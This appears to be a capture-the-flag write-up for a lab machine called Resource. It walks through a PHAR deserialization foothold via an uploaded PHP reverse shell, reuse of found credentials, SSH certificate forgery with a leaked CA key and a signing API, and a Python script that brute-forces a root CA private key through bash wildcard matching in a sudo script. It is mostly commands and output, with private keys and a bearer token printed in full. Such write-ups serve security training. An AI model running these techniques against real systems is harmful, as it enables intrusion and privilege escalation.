
Week 1. Resource
TL;DR
This is an Ubuntu 22.04 machine used by an IT team. The host runs a web server where the users can open IT tickets and upload ZIP files. This functionality is vulnerable to PHAR deserialization and this allows us to gain a foothold in the system. Then we move laterally to another user with credentials found in the file system, and move laterally again to collect the user flag with an old CA key pair found in the system. Regarding escalation, we have to move laterally between users. First we use a local API that signs key pairs for different roles (principals). Eventually, we land in an user environment whose sudo configuration permits running an script vulnerable to wildcard injection. Abusing this we finally get a root shell.
KEYWORDS
PHAR deserialization, RSA key pairs, Certification Authority, ssh-keygen.
REFERENCES
https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability
ENUMERATION
Port scan.
> nmap $target -p- --min-rate=5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-10 08:19 EDT
Nmap scan report for 10.10.11.27
Host is up, received user-set (0.044s latency).
Not shown: 65221 closed tcp ports (conn-refused), 311 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
2222/tcp open EtherNetIP-1 syn-ack
Nmap done: 1 IP address (1 host up) scanned in 12.31 seconds
Enumerate the open ports.
> nmap $target p22,80,2222 -sV -sC -Pn -vv -n
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-10 08:30 EDT
Nmap scan report for 10.10.11.27
Host is up, received user-set (0.039s latency).
Scanned at 2024-08-10 08:30:53 EDT for 8s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 d54f62397bd222f0a88ad99035605688 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBATYMh9+BdqMhKwmA92batW+nssvLnig8s6LRKfe4TUd4IfmWsL1NeMU+03etGZssHGdzVGuKWinJEZP8nxPCSg=
| 256 fb67b06052f2127e6c13fb75f2bb1aca (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDBeEEQbMbbA8xyqfl6Z4O04eLAIn5/kX1+dhQn96SJp
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2a683b9906b6c543222ecaf1704bd16 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPYMhQGEpSM4Alh2GZifayHk69JaFxvinZsgYG+EmcDoShW6Q24vrCoG7QFlArzIHmzoNyPewZ05MjQ7dKttWbk=
| 256 0cc39c10f57fd3e4a8286a51ad1ae1bf (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINF7vRlT0/vggYRb7yoEPXwV4ZAZEu0Qq/mfj1sKKjnK
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 8.66 seconds
Add to hosts
file and inspect the site with Firefox. An IT ticket management site appears, you can register a new user and login.

The application allows users to create tickets, and offers the possibility of uploading ZIP files.
Let's prepare a PHP reverse shell, compress as ZIP and upload using the application. Take note of the name of the PHP file (shell.php
), it will be needed later. Once it is uploaded, you can open the ticket and check the ZIP file upload path by hovering the mouse over the ZIP file.

USER
We will make the backend render the PHP reverse shell by means of phar://
stream wrapper. More info about PHAR deserialization here: https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability
Start a listener on port 1919 and exploit the PHAR deserialization vulnerability by entering this URL.
http://itrc.ssg.htb/?page=phar://uploads/754e02cda5cec4129027294f3a8f7e52bccfaa80.zip/shell
The payload must include the path to the ZIP file plus the name of the PHP reverse shell file without extension. In this case, shell file is called shell.php
, so we just append shell
at the end of the payload.
A reverse shell for user www-data
is received on port 1919.

Navigate to /var/www/itrc/uploads
, there is a bunch of ZIP files there. Unzip the file c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
there is a .har
file inside.
> unzip c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
Archive: c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
inflating: itrc.ssg.htb.har
It is in the HTTP server root folder, so you can browse it with Firefox here: http://itrc.ssg.htb/uploads/itrc.ssg.htb.har
Inside the file there are credentials for user msainristil:82yards2closeit

Use them to SSH into the host.

This shell is not valid for the user flag, so next step is to find another user to move laterally. Enumerate the system users with an associated shell.
> cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
msainristil:x:1000:1000::/home/msainristil:/bin/bash
zzinter:x:1001:1001::/home/zzinter:/bin/bash
The only option left is to move laterally to user zzinter
In the home folder there is an old certification authority key pair.
> ls -hal ca-itrc*
-rw------- 1 msainristil msainristil 2.6K Jan 24 2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil 572 Jan 24 2024 ca-itrc.pub
Let's create a new key pair for user zzinter
and sign them with the CA private key.
First, exfiltrate the CA key pair to Kali with scp
> scp msainristil@itrc.ssg.htb:~/decommission_old_ca/ca* .
msainristil@itrc.ssg.htb's password:
ca-itrc 100% 2602 32.3KB/s 00:00
ca-itrc.pub 100% 572 7.4KB/s 00:00
Now then create a new key pair in Kali.
> ssh-keygen -t rsa -b 2048 -f stuff
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in stuff
Your public key has been saved in stuff.pub
The key fingerprint is:
SHA256:luiRsjMYE8wiwQBKl24EoTy6G+i8o2Utvxe4mn09CAw msainristil@itrc
The key's randomart image is:
+---[RSA 2048]----+
|B+o.. |
|==.o |
|=o* |
|o.E+ o . |
|. +o..+ S |
|.. =++.o |
|+ = =o.+ |
|o* =.o+ o |
|++=.++ . |
+----[SHA256]-----+
> ls -hal stuff*
-rw------- 1 msainristil msainristil 1.8K Aug 10 14:43 stuff
-rw-r--r-- 1 msainristil msainristil 398 Aug 10 14:43 stuff.pub
Now sign the public key for zzinter
(flag -n
) using the CA private key (-s
flag). An additional flag -I
is needed and indicates user's identity, typically an email address, but anything can be specified in this field.
> ssh-keygen -s ca-itrc -n zzinter -I hey@hey.com stuff.pub
Signed user key stuff-cert.pub: id "hey@hey.com" serial 0 for zzinter valid forever
Now you can open an SSH session as zzinter

And retrieve the user flag.
ROOT
Start from the low-priv zzinter
shell and take the opportunity to enumerate the system.
> uname -a && cat /etc/os-release
Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
Let's have a look at the sign_key_api.sh
script in the home directory.
#!/bin/bash
usage () {
echo "Usage: $0 <public_key_file> <username> <principal>"
exit 1
}
if [ "$#" -ne 3 ]; then
usage
fi
public_key_file="$1"
username="$2"
principal_str="$3"
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
public_key=$(cat $public_key_file)
curl -s signserv.ssg.htb /v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
Looks like a script to sign public keys with an internal API assigning then certain allowed roles (principals).
The syntax is: ./sign_key_api.sh <key.pub> <username> <principal>
Where the values allowed for <principal>
are: webserver
, analytics
, support
or security
One interesting thing is that this script is owned by root, so we cannot run it in the host.
> ls -hal
total 32K
drwx------ 1 zzinter zzinter 4.0K Aug 15 07:14 .
drwxr-xr-x 1 root root 4.0K Aug 13 11:13 ..
lrwxrwxrwx 1 root root 9 Aug 13 11:13 .bash_history -> /dev/null
-rw-r--r-- 1 zzinter zzinter 220 Mar 29 2024 .bash_logout
-rw-r--r-- 1 zzinter zzinter 3.5K Mar 29 2024 .bashrc
-rw-r--r-- 1 zzinter zzinter 807 Mar 29 2024 .profile
-rw-rw-r-- 1 root root 1.2K Feb 19 2024 sign_key_api.sh
-rw-r----- 1 root zzinter 33 Feb 19 2024 user.txt
So we have 2 options, first option would be to exfiltrate the script with scp
so we can sign our own public keys locally in Kali.
> scp -i zzinter zzinter@itrc.ssg.htb:~/sign_key_api.sh .
sign_key_api.sh 100% 1193 14.6KB/s 00:00
The second one would be to take note of the curl
command at the end, add signserv.ssg.htb
to hosts file and sign our public keys remotely with curl
Let's test the script, first generate a key pair in the host.
> cd /var/tmp
> ssh-keygen -t rsa -b 2048 -f support
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in support
Your public key has been saved in support.pub
The key fingerprint is:
SHA256:6joODhztEzhtmRmPy1kqMlZ+Wxl4Cvjqf3h3fLDlZs4 zzinter@itrc
The key's randomart image is:
+---[RSA 2048]----+
| |
| |
| . |
| = B . |
| = % + oS |
|. X B o.o. . |
|++.X.o.o. = |
|o+oo++o. +.= |
|.ooo=+o . =E |
+----[SHA256]-----+
> cat support.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPoI4QBtStyisv/GMQWQSzkmeASwsdMdFe0tN6FJM+J4cSRNyPoMyMNe+RRNQGBMQf2OiOaedDNmFCKHLcpO7KK3o+JGypt7MmMTwNfSjYonR9rduV5ifWWPMIyl2ELF5Kgmx5FWxGaBqZxQKNBwu9Vx05n/8qG+BHHi5ObuTK+Css49AAVFBD4OA8oOKcnZ5xALn+41HMmOgcRXfIIXa7wwOTr1za4p6Cskr3H1oZLZxZMz3qd0jbEjUQLBHT0FMfKZ9Gf+M2/h/EpKOx3GbHFE4pkmoCUiOsOdXWXlMcKdPX1ddVeejkbAe+TEhYO/K/bCexoPx4qUg2xTP/wLOP zzinter@itrc
> cat support
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAz6COEAbUrcorL/xjEFkEs5JngEsLHTHRXtLTehSTPieHEkTcj6DM
jDXvkUTUBgTEH9jojmnnQzZhQihy3KTuyit6PiRsqbezJjE8DX0o2KJ0fa3bleYn1ljzCM
pdhCxeSoJseRVsRmgamcUCjQcLvVcdOZ//KhvgRx4uTm7kyvgrLOPQAFRQQ+DgPKDinJ2e
cQC5/uNRzJjoHEV3yCF2u8MDk69c2uKegrJK9x9aGS2cWTM96ndI2xI1ECwR09BTHymfRn
/jNv4fxKSjsdxmxxROKZJqAlIjrDnV1l5THCnT19XXVXno5GwHvkxIWDvyv2wnsaD8eKlI
NsUz/8CzjwAAA8iALINBgCyDQQAAAAdzc2gtcnNhAAABAQDPoI4QBtStyisv/GMQWQSzkm
eASwsdMdFe0tN6FJM+J4cSRNyPoMyMNe+RRNQGBMQf2OiOaedDNmFCKHLcpO7KK3o+JGyp
t7MmMTwNfSjYonR9rduV5ifWWPMIyl2ELF5Kgmx5FWxGaBqZxQKNBwu9Vx05n/8qG+BHHi
5ObuTK+Css49AAVFBD4OA8oOKcnZ5xALn+41HMmOgcRXfIIXa7wwOTr1za4p6Cskr3H1oZ
LZxZMz3qd0jbEjUQLBHT0FMfKZ9Gf+M2/h/EpKOx3GbHFE4pkmoCUiOsOdXWXlMcKdPX1d
dVeejkbAe+TEhYO/K/bCexoPx4qUg2xTP/wLOPAAAAAwEAAQAAAQBEvvj6xoA58NQe5dbZ
LVhYqtOZT3+lEX8tAepipBhivozDGEjdR5UioaMqetsnCQH1N4k8ykT35LQMRz9M3lFwYD
fwBnhyM3BeZ3PmVXgmTpf6mwu3VMcA+l+yG+sd3eD0k72d0+GPaF3SZ0BieKBC92qmT1sZ
0rQOaChV8PLRXwRY/XMJ1ZduFbwTwZWE/QfOJ+3nAZLcpapR95VgFb8Fn4u32zIiRpU6T0
e+jtTjr0WrH8OyUMRV8oFFmwaXwOBNhzLohnxjxNtw2Yb/D8+IQCjD05cBF9Luz2s+WIgz
qaILNLPat4FI2N8yOS06XwISayKuxVXnkrrjSTclLvWFAAAAgEMPko6R9QjdNyk7EcdLJ1
kWG5yV7izZO7NNCFnh+alr1G2PxDDwiF/xJE7d0zN0ZfokAtpBUH1hyX3iJvYJxlVEqgyd
7/0qoOvfcM757pGs5xW+dLbPgo9DwlIvXIssTTriR9x7eu9fjDiiPQw39eCCo/HDEvvuqV
RICLK0KCc5AAAAgQD1UyBX6HHcSDkTFF4XIh+iL2Un3VNr5uIxaEiDPE1nplwqEH+IksOg
cThCLA06gGqzfKgM/6ufZgJaG4eS3pjc2jZ8QVYqA+MSXisjD6xHUlJs7UXYm74Iw3BW/u
lL/uZfHe4rX1TzQFMBBPaCWYSdZwM60d+6S2CHcU/HDQ9fbQAAAIEA2Kl8Ef0JrruHNvsj
swJ1Mtvc/MB4CgTIOjtfHMSPplpPaO4UQ7Qf6yPzlVtG11k93vDmrtA11nTSbE+4wXyTYb
CRDBPIBfyRm+Hac0cYhtlFFGhLMI2EqvML+UptLpAYswlgP1fCM9zgl6Y5ftBtBAIgWIiG
IJirXmvU8eUzdWsAAAAMenppbnRlckBpdHJjAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
Exfiltrate the key pair to Kali.
> scp -i zzinter zzinter@itrc.ssg.htb:/var/tmp/support* .
support 100% 1823 24.0KB/s 00:00
support.pub 100% 394 5.0KB/s 00:00
Now sign the keys remotely using the API with curl
choosing support
principal and inspect the output.
> curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPoI4QBtStyisv/GMQWQSzkmeASwsdMdFe0tN6FJM+J4cSRNyPoMyMNe+RRNQGBMQf2OiOaedDNmFCKHLcpO7KK3o+JGypt7MmMTwNfSjYonR9rduV5ifWWPMIyl2ELF5Kgmx5FWxGaBqZxQKNBwu9Vx05n/8qG+BHHi5ObuTK+Css49AAVFBD4OA8oOKcnZ5xALn+41HMmOgcRXfIIXa7wwOTr1za4p6Cskr3H1oZLZxZMz3qd0jbEjUQLBHT0FMfKZ9Gf+M2/h/EpKOx3GbHFE4pkmoCUiOsOdXWXlMcKdPX1ddVeejkbAe+TEhYO/K/bCexoPx4qUg2xTP/wLOP zzinter@itrc", "username": "support", "principals": "support"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAg0R/tAJcVblRJHObvuU+mfPUQq5/ViRXUujjo4DLPsT4AAAADAQABAAABAQDPoI4QBtStyisv/GMQWQSzkmeASwsdMdFe0tN6FJM+J4cSRNyPoMyMNe+RRNQGBMQf2OiOaedDNmFCKHLcpO7KK3o+JGypt7MmMTwNfSjYonR9rduV5ifWWPMIyl2ELF5Kgmx5FWxGaBqZxQKNBwu9Vx05n/8qG+BHHi5ObuTK+Css49AAVFBD4OA8oOKcnZ5xALn+41HMmOgcRXfIIXa7wwOTr1za4p6Cskr3H1oZLZxZMz3qd0jbEjUQLBHT0FMfKZ9Gf+M2/h/EpKOx3GbHFE4pkmoCUiOsOdXWXlMcKdPX1ddVeejkbAe+TEhYO/K/bCexoPx4qUg2xTP/wLOPAAAAAAAAACcAAAABAAAAB3N1cHBvcnQAAAALAAAAB3N1cHBvcnQAAAAAZv5x/P//////////AAAAAAAAAIIAAAAVcGVybWl0LVgxMS1mb3J3YXJkaW5nAAAAAAAAABdwZXJtaXQtYWdlbnQtZm9yd2FyZGluZwAAAAAAAAAWcGVybWl0LXBvcnQtZm9yd2FyZGluZwAAAAAAAAAKcGVybWl0LXB0eQAAAAAAAAAOcGVybWl0LXVzZXItcmMAAAAAAAAAAAAAADMAAAALc3NoLWVkMjU1MTkAAAAggeDwK53LVKHJh+rMLcA2WABxbtDgyhm57MATyY0VKbEAAABTAAAAC3NzaC1lZDI1NTE5AAAAQBL7yU7qKMMVQ3CjTWmTNZbu9umT+oRyJs2bugMuYn0BYPLODJrjz1sEsWQZU6jr7F2Za/1U0Iv3Lw6xIdfrUwM= zzinter@itrc
It seems the API outputs a signed certificate containing the public key. Copy the certificate as support.cert
and use it to connect to the host as user support
(use port 2222).
> ssh -o CertificateFile=support.cert -i support support@itrc.htb -p 2222

Notice the hostname has changed, so let's enumerate again the user and the system.
> whoami && id
support
uid=1000(support) gid=1000(support) groups=1000(support)
> uname -a && cat /etc/os-release
Linux ssg 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
In the new shell, move to /etc/ssh/auth_principals
, there we see all the possible principals we can use to sign certificates.
> cd /etc/ssh/auth_principals && cat *
root_user
support
root_user
zzinter_temp
It seems we can request also root_user
and zzinter_temp
principals, so let's follow the same procedure as used for support
principal.
Generate a key pair in the host, transfer to Kali and sign the certificate using the API.
> curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdtpchTssw/eBJ6wRJ8XljD4y5cMZ+t26b095vhA8w6ks0BhsvQBWBmTh4RVmUQgLXEfEX/sgaY+zZaH0QZ4kgpfN9qZeFNp1KdpS/He4aE4oaKU/Nx1WVMiFNNUC9ufloPEpRPHiZahTDM9IZTDMRhdeWcNnCOpebgt6lKdlzBSW9bYwxsXo0kdbBTc4O3F9HqajtCd6N4oH1Vw4diOntTW4Joob4eYHMHkV2le+XEZmsmGEGh2EqODzFlwXPrgmNXfTjCgaa5FELdXR8AOiSrStPu2Svr323p3SEPfXo1x49BlR3MM9QZC7IuVYnrEtX/7q2Jtqxh0VLOBjeN5lR zzinter@itrc", "username": "root", "principals": "root_user"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
{"detail":"Root access must be granted manually. See the IT admin staff."}
This time it didn't work, it seems generating certificates for root is disabled for security reasons. Let's try for zzinter_temp
principal.
> curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnECxHG0PaTTG4OK9vBbpNR0z2qLUqJR9qqr/d1EyOh+k6cWUm3nltHV3vNmjip6SlVzvGBuq0wnzpGSIQ6Wm9bMQcTljq1VdNFgWfStI/Yn1UkpjtWLeFZGrHxoFwlbMD3E6y5lJ++RixncmgNJgJoAbAEVmvNkCmWFoq6flopPoJFOiJP8WaJn7A0Q7kQk05GQVUaay2ixuATfiifadTSQi0M/2D+0W86MGSExLw6NXovqioCygCkf1z+Cu0tgqixIQ6SSKJk8OyJC4gegUZrP54lqVPvoKM40reDMrSRU+IKyXiGYv2hWzKLerj24B0BZONDb7Dc8xPhkbwlaSz zzinter@itrc", "username": "zzinter", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgfxlfIbfqvNKcpltwslO0aCIGnxrWiJgAlDEAwrIoSCwAAAADAQABAAABAQCnECxHG0PaTTG4OK9vBbpNR0z2qLUqJR9qqr/d1EyOh+k6cWUm3nltHV3vNmjip6SlVzvGBuq0wnzpGSIQ6Wm9bMQcTljq1VdNFgWfStI/Yn1UkpjtWLeFZGrHxoFwlbMD3E6y5lJ++RixncmgNJgJoAbAEVmvNkCmWFoq6flopPoJFOiJP8WaJn7A0Q7kQk05GQVUaay2ixuATfiifadTSQi0M/2D+0W86MGSExLw6NXovqioCygCkf1z+Cu0tgqixIQ6SSKJk8OyJC4gegUZrP54lqVPvoKM40reDMrSRU+IKyXiGYv2hWzKLerj24B0BZONDb7Dc8xPhkbwlaSzAAAAAAAAACgAAAABAAAAB3p6aW50ZXIAAAAQAAAADHp6aW50ZXJfdGVtcAAAAABm/nhi//////////8AAAAAAAAAggAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAAAAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAAAAAAAAA5wZXJtaXQtdXNlci1yYwAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAFMAAAALc3NoLWVkMjU1MTkAAABADkt80KX+eJiWQlFrdBUqlKAv4gphsrIeP/hcBa90ovMBSboLlZlJBAzBFWIPIfXMODALLR0K4vwqDgfkN6XpCw== zzinter@itrc
In this case the certificate is correctly generated for zzinter_temp
. Copy as zzinter_temp.cert
and update permissions. Then use it to connect to the host, we receive a shell as user zzinter
> chmod 600 zzinter_temp.cert
> ssh -o CertificateFile=zzinter_temp.cert -i zzinter_temp zzinter@itrc.htb -p 2222

Enumerate sudo
configuration for current user.
> sudo -l
Matching Defaults entries for zzinter on ssg:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User zzinter may run the following commands on ssg:
(root) NOPASSWD: /opt/sign_key.sh
Enumerate the script /opt/sign_key.sh
#!/bin/bash
usage () {
echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
exit 1
}
if [ "$#" -ne 5 ]; then
usage
fi
ca_file="$1"
public_key_file="$2"
username="$3"
principal_str="$4"
serial="$5"
if [ ! -f "$ca_file" ]; then
echo "Error: CA file '$ca_file' not found."
usage
fi
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if ! [[ $serial =~ ^[0-9]+$ ]]; then
echo "Error: '$serial' is not a number."
usage
fi
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principal" "$public_key_file"
This code is vulnerable to wildcard injection, similar to what we found in Week 6. Codify (Season 3). The vulnerable part of the code is here:
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
Basically, the script takes the ca_file
entered by the user in the arguments and compares it with /etc/ssh/ca-it
, but a double square bracket is used for the comparison, meaning that the statement will be true in the case we use wildcards in the ca-file
For example, both strings "ABCDEFGH..." and "A*"
will be evaluated as true. Note that this will not happen if we use single square brackets.
The following Python script is similar to what we did inWeek 6. Codify (Season 3), and it dumps the contents of the /etc/ssh/ca-it
file.
import os
import string
import subprocess
chars = string.ascii_letters + string.digits + '-+=/'
header = "-----BEGIN OPENSSH PRIVATE KEY-----\n"
footer = "\n-----END OPENSSH PRIVATE KEY-----"
key = []
while True:
found = False
for char in chars:
testKey = header + "".join(key) + char + '*'
with open('/var/tmp/ca_file', 'w', encoding='utf-8') as f:
f.write(testKey)
result = subprocess.run(
['bash', '-c', f"echo -n '{testKey}' > /var/tmp/ca_file; sudo /opt/sign_key.sh /var/tmp/ca_file /var/tmp/root.pub root security 12334"],
capture_output=True, text=True
)
if "Error: Use API for signing with this CA." in result.stdout:
key.append(char)
print("Char found\n")
print(f"{key}")
found = True
if len(key) > 0 and (len(key) % 70 == 0):
key.append("\n")
break
if not found:
break
testKey = header + "".join(key) + footer
with open('/var/tmp/ca_file', 'w', encoding='utf-8') as f:
f.write(testKey)
print(testKey)
Copy to the host and run, shortly after the root private key is bruteforced.
> python3 exploit.py

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY-----
Use it to generate a root certificate as we done before and login to collect the root flag.

You are root.
Last updated